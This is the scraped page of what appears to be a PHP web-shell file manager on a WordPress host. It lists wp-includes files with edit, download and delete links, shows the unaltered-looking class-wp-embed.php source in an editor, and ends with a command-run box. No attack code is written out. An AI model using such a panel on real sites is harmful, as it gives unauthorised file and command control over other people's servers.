/
home
/
altere25
/
highwoodoutdoorpool.com
/
wp-includes
/
/home/altere25/highwoodoutdoorpool.com/wp-includes
mkdir
upload
Name
Size
Mode
Actions
assets/
-
0755
rm
blocks/
-
0755
rm
certificates/
-
0755
rm
css/
-
0755
rm
customize/
-
0755
rm
fonts/
-
0755
rm
ID3/
-
0755
rm
images/
-
0755
rm
IXR/
-
0755
rm
js/
-
0755
rm
pomo/
-
0755
rm
random_compat/
-
0755
rm
Requests/
-
0755
rm
rest-api/
-
0755
rm
SimplePie/
-
0755
rm
sodium_compat/
-
0755
rm
Text/
-
0755
rm
theme-compat/
-
0755
rm
widgets/
-
0755
rm
.htaccess
178
0644
edit
dl
rm
admin-bar.php
31315
0644
edit
dl
rm
atomlib.php
11840
0644
edit
dl
rm
author-template.php
17037
0644
edit
dl
rm
blocks.php
19262
0644
edit
dl
rm
bookmark-template.php
12503
0644
edit
dl
rm
bookmark.php
15014
0644
edit
dl
rm
cache.php
8801
0644
edit
dl
rm
canonical.php
29628
0644
edit
dl
rm
capabilities.php
34685
0644
edit
dl
rm
category-template.php
53088
0644
edit
dl
rm
category.php
12202
0644
edit
dl
rm
class-feed.php
529
0644
edit
dl
rm
class-http.php
39108
0644
edit
dl
rm
class-IXR.php
2543
0644
edit
dl
rm
class-json.php
43447
0644
edit
dl
rm
class-oembed.php
407
0644
edit
dl
rm
class-phpass.php
7319
0644
edit
dl
rm
class-phpmailer.php
148589
0644
edit
dl
rm
class-pop3.php
20919
0644
edit
dl
rm
class-requests.php
29804
0644
edit
dl
rm
class-simplepie.php
89261
0644
edit
dl
rm
class-smtp.php
40919
0644
edit
dl
rm
class-snoopy.php
37785
0644
edit
dl
rm
class-walker-category-dropdown.php
2127
0644
edit
dl
rm
class-walker-category.php
7874
0644
edit
dl
rm
class-walker-comment.php
13683
0644
edit
dl
rm
class-walker-nav-menu.php
8650
0644
edit
dl
rm
class-walker-page-dropdown.php
2299
0644
edit
dl
rm
class-walker-page.php
7033
0644
edit
dl
rm
class-wp-admin-bar.php
17185
0644
edit
dl
rm
class-wp-ajax-response.php
5236
0644
edit
dl
rm
class-wp-block-parser.php
15215
0644
edit
dl
rm
class-wp-block-styles-registry.php
4728
0644
edit
dl
rm
class-wp-block-type-registry.php
5091
0644
edit
dl
rm
class-wp-block-type.php
4815
0644
edit
dl
rm
class-wp-comment-query.php
44522
0644
edit
dl
rm
class-wp-comment.php
8968
0644
edit
dl
rm
class-wp-customize-control.php
25505
0644
edit
dl
rm
class-wp-customize-manager.php
200156
0644
edit
dl
rm
class-wp-customize-nav-menus.php
54965
0644
edit
dl
rm
class-wp-customize-panel.php
10406
0644
edit
dl
rm
class-wp-customize-section.php
10974
0644
edit
dl
rm
class-wp-customize-setting.php
29680
0644
edit
dl
rm
class-wp-customize-widgets.php
66974
0644
edit
dl
rm
class-wp-date-query.php
35280
0644
edit
dl
rm
class-wp-dependency.php
2500
0644
edit
dl
rm
class-wp-editor.php
70665
0644
edit
dl
rm
class-wp-embed.php
14802
0644
edit
dl
rm
class-wp-error.php
4923
0644
edit
dl
rm
class-wp-fatal-error-handler.php
7416
0644
edit
dl
rm
class-wp-feed-cache-transient.php
2560
0644
edit
dl
rm
class-wp-feed-cache.php
749
0644
edit
dl
rm
class-wp-hook.php
14051
0644
edit
dl
rm
class-wp-http-cookie.php
7146
0644
edit
dl
rm
class-wp-http-curl.php
12330
0644
edit
dl
rm
class-wp-http-encoding.php
6510
0644
edit
dl
rm
class-wp-http-ixr-client.php
3339
0644
edit
dl
rm
class-wp-http-proxy.php
6077
0644
edit
dl
rm
class-wp-http-requests-hooks.php
1950
0644
edit
dl
rm
class-wp-http-requests-response.php
4343
0644
edit
dl
rm
class-wp-http-response.php
2951
0644
edit
dl
rm
class-wp-http-streams.php
16079
0644
edit
dl
rm
class-wp-image-editor-gd.php
14104
0644
edit
dl
rm
class-wp-image-editor-imagick.php
29052
0644
edit
dl
rm
class-wp-image-editor.php
14016
0644
edit
dl
rm
class-wp-list-util.php
6407
0644
edit
dl
rm
class-wp-locale-switcher.php
5022
0644
edit
dl
rm
class-wp-locale.php
13914
0644
edit
dl
rm
class-wp-matchesmapregex.php
1805
0644
edit
dl
rm
class-wp-meta-query.php
27855
0644
edit
dl
rm
class-wp-metadata-lazyloader.php
5386
0644
edit
dl
rm
class-wp-network-query.php
18372
0644
edit
dl
rm
class-wp-network.php
12376
0644
edit
dl
rm
class-wp-object-cache.php
12848
0644
edit
dl
rm
class-wp-oembed-controller.php
6027
0644
edit
dl
rm
class-wp-oembed.php
30476
0644
edit
dl
rm
class-wp-paused-extensions-storage.php
4931
0644
edit
dl
rm
class-wp-post-type.php
19533
0644
edit
dl
rm
class-wp-post.php
6441
0644
edit
dl
rm
class-wp-query.php
132783
0644
edit
dl
rm
class-wp-recovery-mode-cookie-service.php
6457
0644
edit
dl
rm
class-wp-recovery-mode-email-service.php
10121
0644
edit
dl
rm
class-wp-recovery-mode-key-service.php
4282
0644
edit
dl
rm
class-wp-recovery-mode-link-service.php
3368
0644
edit
dl
rm
class-wp-recovery-mode.php
11356
0644
edit
dl
rm
class-wp-rewrite.php
60831
0644
edit
dl
rm
class-wp-role.php
2792
0644
edit
dl
rm
class-wp-roles.php
8406
0644
edit
dl
rm
class-wp-session-tokens.php
7431
0644
edit
dl
rm
class-wp-simplepie-file.php
2328
0644
edit
dl
rm
class-wp-simplepie-sanitize-kses.php
1775
0644
edit
dl
rm
class-wp-site-query.php
28532
0644
edit
dl
rm
class-wp-site.php
7367
0644
edit
dl
rm
class-wp-tax-query.php
19442
0644
edit
dl
rm
class-wp-taxonomy.php
10842
0644
edit
dl
rm
class-wp-term-query.php
35527
0644
edit
dl
rm
class-wp-term.php
5265
0644
edit
dl
rm
class-wp-text-diff-renderer-inline.php
716
0644
edit
dl
rm
class-wp-text-diff-renderer-table.php
16831
0644
edit
dl
rm
class-wp-theme.php
51704
0644
edit
dl
rm
class-wp-user-meta-session-tokens.php
2990
0644
edit
dl
rm
class-wp-user-query.php
31302
0644
edit
dl
rm
class-wp-user-request.php
1996
0644
edit
dl
rm
class-wp-user.php
21872
0644
edit
dl
rm
class-wp-walker.php
12722
0644
edit
dl
rm
class-wp-widget-factory.php
2620
0644
edit
dl
rm
class-wp-widget.php
17902
0644
edit
dl
rm
class-wp-xmlrpc-server.php
210317
0644
edit
dl
rm
class-wp.php
24688
0644
edit
dl
rm
class.wp-dependencies.php
12674
0644
edit
dl
rm
class.wp-scripts.php
18150
0644
edit
dl
rm
class.wp-styles.php
10682
0644
edit
dl
rm
comment-template.php
92992
0644
edit
dl
rm
comment.php
117641
0644
edit
dl
rm
compat.php
12989
0644
edit
dl
rm
cron.php
32667
0644
edit
dl
rm
date.php
406
0644
edit
dl
rm
default-constants.php
10157
0644
edit
dl
rm
default-filters.php
26110
0644
edit
dl
rm
default-widgets.php
2123
0644
edit
dl
rm
deprecated.php
114945
0644
edit
dl
rm
embed-template.php
341
0644
edit
dl
rm
embed.php
47626
0644
edit
dl
rm
error-protection.php
3385
0644
edit
dl
rm
feed-atom-comments.php
5444
0644
edit
dl
rm
feed-atom.php
3102
0644
edit
dl
rm
feed-rdf.php
2668
0644
edit
dl
rm
feed-rss.php
1189
0644
edit
dl
rm
feed-rss2-comments.php
4088
0644
edit
dl
rm
feed-rss2.php
3799
0644
edit
dl
rm
feed.php
22060
0644
edit
dl
rm
formatting.php
299006
0644
edit
dl
rm
functions.php
231776
0644
edit
dl
rm
functions.wp-scripts.php
12842
0644
edit
dl
rm
functions.wp-styles.php
8245
0644
edit
dl
rm
general-template.php
152929
0644
edit
dl
rm
http.php
24317
0644
edit
dl
rm
kses.php
59004
0644
edit
dl
rm
l10n.php
53829
0644
edit
dl
rm
link-template.php
143795
0644
edit
dl
rm
load.php
43955
0644
edit
dl
rm
locale.php
162
0644
edit
dl
rm
media-template.php
58104
0644
edit
dl
rm
media.php
151345
0644
edit
dl
rm
meta.php
50493
0644
edit
dl
rm
ms-blogs.php
24986
0644
edit
dl
rm
ms-default-constants.php
4787
0644
edit
dl
rm
ms-default-filters.php
6428
0644
edit
dl
rm
ms-deprecated.php
21122
0644
edit
dl
rm
ms-files.php
2641
0644
edit
dl
rm
ms-functions.php
89438
0644
edit
dl
rm
ms-load.php
19797
0644
edit
dl
rm
ms-network.php
3658
0644
edit
dl
rm
ms-settings.php
4122
0644
edit
dl
rm
ms-site.php
43033
0644
edit
dl
rm
nav-menu-template.php
22150
0644
edit
dl
rm
nav-menu.php
41745
0644
edit
dl
rm
option.php
70890
0644
edit
dl
rm
pluggable-deprecated.php
6263
0644
edit
dl
rm
pluggable.php
101305
0644
edit
dl
rm
plugin.php
32201
0644
edit
dl
rm
post-formats.php
7069
0644
edit
dl
rm
post-template.php
63160
0644
edit
dl
rm
post-thumbnail-template.php
9021
0644
edit
dl
rm
post.php
246573
0644
edit
dl
rm
query.php
34218
0644
edit
dl
rm
registration-functions.php
202
0644
edit
dl
rm
registration.php
202
0644
edit
dl
rm
rest-api.php
47360
0644
edit
dl
rm
revision.php
21710
0644
edit
dl
rm
rewrite.php
18048
0644
edit
dl
rm
rss-functions.php
211
0644
edit
dl
rm
rss.php
23208
0644
edit
dl
rm
script-loader.php
104915
0644
edit
dl
rm
session.php
258
0644
edit
dl
rm
shortcodes.php
22355
0644
edit
dl
rm
spl-autoload-compat.php
443
0644
edit
dl
rm
taxonomy.php
158347
0644
edit
dl
rm
template-loader.php
3352
0644
edit
dl
rm
template.php
21046
0644
edit
dl
rm
theme.php
104946
0644
edit
dl
rm
update.php
25689
0644
edit
dl
rm
user.php
132580
0644
edit
dl
rm
vars.php
5820
0644
edit
dl
rm
version.php
766
0644
edit
dl
rm
widgets.php
58785
0644
edit
dl
rm
wlwmanifest.xml
1045
0644
edit
dl
rm
wp-db.php
103912
0644
edit
dl
rm
wp-diff.php
647
0644
edit
dl
rm
Edit:
/home/altere25/highwoodoutdoorpool.com/wp-includes/class-wp-embed.php
(14802B)
<?php /** * API for easily embedding rich media such as videos and images into content. * * @package WordPress * @subpackage Embed * @since 2.9.0 */ class WP_Embed { public $handlers = array(); public $post_ID; public $usecache = true; public $linkifunknown = true; public $last_attr = array(); public $last_url = ''; /** * When a URL cannot be embedded, return false instead of returning a link * or the URL. * * Bypasses the {@see 'embed_maybe_make_link'} filter. * * @var bool */ public $return_false_on_fail = false; /** * Constructor */ public function __construct() { // Hack to get the [embed] shortcode to run before wpautop(). add_filter( 'the_content', array( $this, 'run_shortcode' ), 8 ); add_filter( 'widget_text_content', array( $this, 'run_shortcode' ), 8 ); // Shortcode placeholder for strip_shortcodes(). add_shortcode( 'embed', '__return_false' ); // Attempts to embed all URLs in a post. add_filter( 'the_content', array( $this, 'autoembed' ), 8 ); add_filter( 'widget_text_content', array( $this, 'autoembed' ), 8 ); // After a post is saved, cache oEmbed items via Ajax. add_action( 'edit_form_advanced', array( $this, 'maybe_run_ajax_cache' ) ); add_action( 'edit_page_form', array( $this, 'maybe_run_ajax_cache' ) ); } /** * Process the [embed] shortcode. * * Since the [embed] shortcode needs to be run earlier than other shortcodes, * this function removes all existing shortcodes, registers the [embed] shortcode, * calls do_shortcode(), and then re-registers the old shortcodes. * * @global array $shortcode_tags * * @param string $content Content to parse * @return string Content with shortcode parsed */ public function run_shortcode( $content ) { global $shortcode_tags; // Back up current registered shortcodes and clear them all out. $orig_shortcode_tags = $shortcode_tags; remove_all_shortcodes(); add_shortcode( 'embed', array( $this, 'shortcode' ) ); // Do the shortcode (only the [embed] one is registered). $content = do_shortcode( $content, true ); // Put the original shortcodes back. $shortcode_tags = $orig_shortcode_tags; return $content; } /** * If a post/page was saved, then output JavaScript to make * an Ajax request that will call WP_Embed::cache_oembed(). */ public function maybe_run_ajax_cache() { $post = get_post(); if ( ! $post || empty( $_GET['message'] ) ) { return; } ?> <script type="text/javascript"> jQuery(document).ready(function($){ $.get("<?php echo admin_url( 'admin-ajax.php?action=oembed-cache&post=' . $post->ID, 'relative' ); ?>"); }); </script> <?php } /** * Registers an embed handler. * * Do not use this function directly, use wp_embed_register_handler() instead. * * This function should probably also only be used for sites that do not support oEmbed. * * @param string $id An internal ID/name for the handler. Needs to be unique. * @param string $regex The regex that will be used to see if this handler should be used for a URL. * @param callable $callback The callback function that will be called if the regex is matched. * @param int $priority Optional. Used to specify the order in which the registered handlers will be tested (default: 10). Lower numbers correspond with earlier testing, and handlers with the same priority are tested in the order in which they were added to the action. */ public function register_handler( $id, $regex, $callback, $priority = 10 ) { $this->handlers[ $priority ][ $id ] = array( 'regex' => $regex, 'callback' => $callback, ); } /** * Unregisters a previously-registered embed handler. * * Do not use this function directly, use wp_embed_unregister_handler() instead. * * @param string $id The handler ID that should be removed. * @param int $priority Optional. The priority of the handler to be removed (default: 10). */ public function unregister_handler( $id, $priority = 10 ) { unset( $this->handlers[ $priority ][ $id ] ); } /** * The do_shortcode() callback function. * * Attempts to convert a URL into embed HTML. Starts by checking the URL against the regex of * the registered embed handlers. If none of the regex matches and it's enabled, then the URL * will be given to the WP_oEmbed class. * * @param array $attr { * Shortcode attributes. Optional. * * @type int $width Width of the embed in pixels. * @type int $height Height of the embed in pixels. * } * @param string $url The URL attempting to be embedded. * @return string|false The embed HTML on success, otherwise the original URL. * `->maybe_make_link()` can return false on failure. */ public function shortcode( $attr, $url = '' ) { $post = get_post(); if ( empty( $url ) && ! empty( $attr['src'] ) ) { $url = $attr['src']; } $this->last_url = $url; if ( empty( $url ) ) { $this->last_attr = $attr; return ''; } $rawattr = $attr; $attr = wp_parse_args( $attr, wp_embed_defaults( $url ) ); $this->last_attr = $attr; // KSES converts & into & and we need to undo this. // See https://core.trac.wordpress.org/ticket/11311 $url = str_replace( '&', '&', $url ); // Look for known internal handlers. ksort( $this->handlers ); foreach ( $this->handlers as $priority => $handlers ) { foreach ( $handlers as $id => $handler ) { if ( preg_match( $handler['regex'], $url, $matches ) && is_callable( $handler['callback'] ) ) { $return = call_user_func( $handler['callback'], $matches, $attr, $url, $rawattr ); if ( false !== $return ) { /** * Filters the returned embed HTML. * * @since 2.9.0 * * @see WP_Embed::shortcode() * * @param string|false $return The HTML result of the shortcode, or false on failure. * @param string $url The embed URL. * @param array $attr An array of shortcode attributes. */ return apply_filters( 'embed_handler_html', $return, $url, $attr ); } } } } $post_ID = ( ! empty( $post->ID ) ) ? $post->ID : null; // Potentially set by WP_Embed::cache_oembed(). if ( ! empty( $this->post_ID ) ) { $post_ID = $this->post_ID; } // Check for a cached result (stored as custom post or in the post meta). $key_suffix = md5( $url . serialize( $attr ) ); $cachekey = '_oembed_' . $key_suffix; $cachekey_time = '_oembed_time_' . $key_suffix; /** * Filters the oEmbed TTL value (time to live). * * @since 4.0.0 * * @param int $time Time to live (in seconds). * @param string $url The attempted embed URL. * @param array $attr An array of shortcode attributes. * @param int $post_ID Post ID. */ $ttl = apply_filters( 'oembed_ttl', DAY_IN_SECONDS, $url, $attr, $post_ID ); $cache = ''; $cache_time = 0; $cached_post_id = $this->find_oembed_post_id( $key_suffix ); if ( $post_ID ) { $cache = get_post_meta( $post_ID, $cachekey, true ); $cache_time = get_post_meta( $post_ID, $cachekey_time, true ); if ( ! $cache_time ) { $cache_time = 0; } } elseif ( $cached_post_id ) { $cached_post = get_post( $cached_post_id ); $cache = $cached_post->post_content; $cache_time = strtotime( $cached_post->post_modified_gmt ); } $cached_recently = ( time() - $cache_time ) < $ttl; if ( $this->usecache || $cached_recently ) { // Failures are cached. Serve one if we're using the cache. if ( '{{unknown}}' === $cache ) { return $this->maybe_make_link( $url ); } if ( ! empty( $cache ) ) { /** * Filters the cached oEmbed HTML. * * @since 2.9.0 * * @see WP_Embed::shortcode() * * @param string|false $cache The cached HTML result, stored in post meta. * @param string $url The attempted embed URL. * @param array $attr An array of shortcode attributes. * @param int $post_ID Post ID. */ return apply_filters( 'embed_oembed_html', $cache, $url, $attr, $post_ID ); } } /** * Filters whether to inspect the given URL for discoverable link tags. * * @since 2.9.0 * @since 4.4.0 The default value changed to true. * * @see WP_oEmbed::discover() * * @param bool $enable Whether to enable `<link>` tag discovery. Default true. */ $attr['discover'] = apply_filters( 'embed_oembed_discover', true ); // Use oEmbed to get the HTML. $html = wp_oembed_get( $url, $attr ); if ( $post_ID ) { if ( $html ) { update_post_meta( $post_ID, $cachekey, $html ); update_post_meta( $post_ID, $cachekey_time, time() ); } elseif ( ! $cache ) { update_post_meta( $post_ID, $cachekey, '{{unknown}}' ); } } else { $has_kses = false !== has_filter( 'content_save_pre', 'wp_filter_post_kses' ); if ( $has_kses ) { // Prevent KSES from corrupting JSON in post_content. kses_remove_filters(); } $insert_post_args = array( 'post_name' => $key_suffix, 'post_status' => 'publish', 'post_type' => 'oembed_cache', ); if ( $html ) { if ( $cached_post_id ) { wp_update_post( wp_slash( array( 'ID' => $cached_post_id, 'post_content' => $html, ) ) ); } else { wp_insert_post( wp_slash( array_merge( $insert_post_args, array( 'post_content' => $html, ) ) ) ); } } elseif ( ! $cache ) { wp_insert_post( wp_slash( array_merge( $insert_post_args, array( 'post_content' => '{{unknown}}', ) ) ) ); } if ( $has_kses ) { kses_init_filters(); } } // If there was a result, return it. if ( $html ) { /** This filter is documented in wp-includes/class-wp-embed.php */ return apply_filters( 'embed_oembed_html', $html, $url, $attr, $post_ID ); } // Still unknown. return $this->maybe_make_link( $url ); } /** * Delete all oEmbed caches. Unused by core as of 4.0.0. * * @param int $post_ID Post ID to delete the caches for. */ public function delete_oembed_caches( $post_ID ) { $post_metas = get_post_custom_keys( $post_ID ); if ( empty( $post_metas ) ) { return; } foreach ( $post_metas as $post_meta_key ) { if ( '_oembed_' == substr( $post_meta_key, 0, 8 ) ) { delete_post_meta( $post_ID, $post_meta_key ); } } } /** * Triggers a caching of all oEmbed results. * * @param int $post_ID Post ID to do the caching for. */ public function cache_oembed( $post_ID ) { $post = get_post( $post_ID ); $post_types = get_post_types( array( 'show_ui' => true ) ); /** * Filters the array of post types to cache oEmbed results for. * * @since 2.9.0 * * @param string[] $post_types Array of post type names to cache oEmbed results for. Defaults to post types with `show_ui` set to true. */ if ( empty( $post->ID ) || ! in_array( $post->post_type, apply_filters( 'embed_cache_oembed_types', $post_types ) ) ) { return; } // Trigger a caching. if ( ! empty( $post->post_content ) ) { $this->post_ID = $post->ID; $this->usecache = false; $content = $this->run_shortcode( $post->post_content ); $this->autoembed( $content ); $this->usecache = true; } } /** * Passes any unlinked URLs that are on their own line to WP_Embed::shortcode() for potential embedding. * * @see WP_Embed::autoembed_callback() * * @param string $content The content to be searched. * @return string Potentially modified $content. */ public function autoembed( $content ) { // Replace line breaks from all HTML elements with placeholders. $content = wp_replace_in_html_tags( $content, array( "\n" => '<!-- wp-line-break -->' ) ); if ( preg_match( '#(^|\s|>)https?://#i', $content ) ) { // Find URLs on their own line. $content = preg_replace_callback( '|^(\s*)(https?://[^\s<>"]+)(\s*)$|im', array( $this, 'autoembed_callback' ), $content ); // Find URLs in their own paragraph. $content = preg_replace_callback( '|(<p(?: [^>]*)?>\s*)(https?://[^\s<>"]+)(\s*<\/p>)|i', array( $this, 'autoembed_callback' ), $content ); } // Put the line breaks back. return str_replace( '<!-- wp-line-break -->', "\n", $content ); } /** * Callback function for WP_Embed::autoembed(). * * @param array $match A regex match array. * @return string The embed HTML on success, otherwise the original URL. */ public function autoembed_callback( $match ) { $oldval = $this->linkifunknown; $this->linkifunknown = false; $return = $this->shortcode( array(), $match[2] ); $this->linkifunknown = $oldval; return $match[1] . $return . $match[3]; } /** * Conditionally makes a hyperlink based on an internal class variable. * * @param string $url URL to potentially be linked. * @return string|false Linked URL or the original URL. False if 'return_false_on_fail' is true. */ public function maybe_make_link( $url ) { if ( $this->return_false_on_fail ) { return false; } $output = ( $this->linkifunknown ) ? '<a href="' . esc_url( $url ) . '">' . esc_html( $url ) . '</a>' : $url; /** * Filters the returned, maybe-linked embed URL. * * @since 2.9.0 * * @param string $output The linked or original URL. * @param string $url The original URL. */ return apply_filters( 'embed_maybe_make_link', $output, $url ); } /** * Find the oEmbed cache post ID for a given cache key. * * @since 4.9.0 * * @param string $cache_key oEmbed cache key. * @return int|null Post ID on success, null on failure. */ public function find_oembed_post_id( $cache_key ) { $cache_group = 'oembed_cache_post'; $oembed_post_id = wp_cache_get( $cache_key, $cache_group ); if ( $oembed_post_id && 'oembed_cache' === get_post_type( $oembed_post_id ) ) { return $oembed_post_id; } $oembed_post_query = new WP_Query( array( 'post_type' => 'oembed_cache', 'post_status' => 'publish', 'name' => $cache_key, 'posts_per_page' => 1, 'no_found_rows' => true, 'cache_results' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'lazy_load_term_meta' => false, ) ); if ( ! empty( $oembed_post_query->posts ) ) { // Note: 'fields' => 'ids' is not being used in order to cache the post object as it will be needed. $oembed_post_id = $oembed_post_query->posts[0]->ID; wp_cache_set( $cache_key, $oembed_post_id, $cache_group ); return $oembed_post_id; } return null; } }
Save
cmd:
run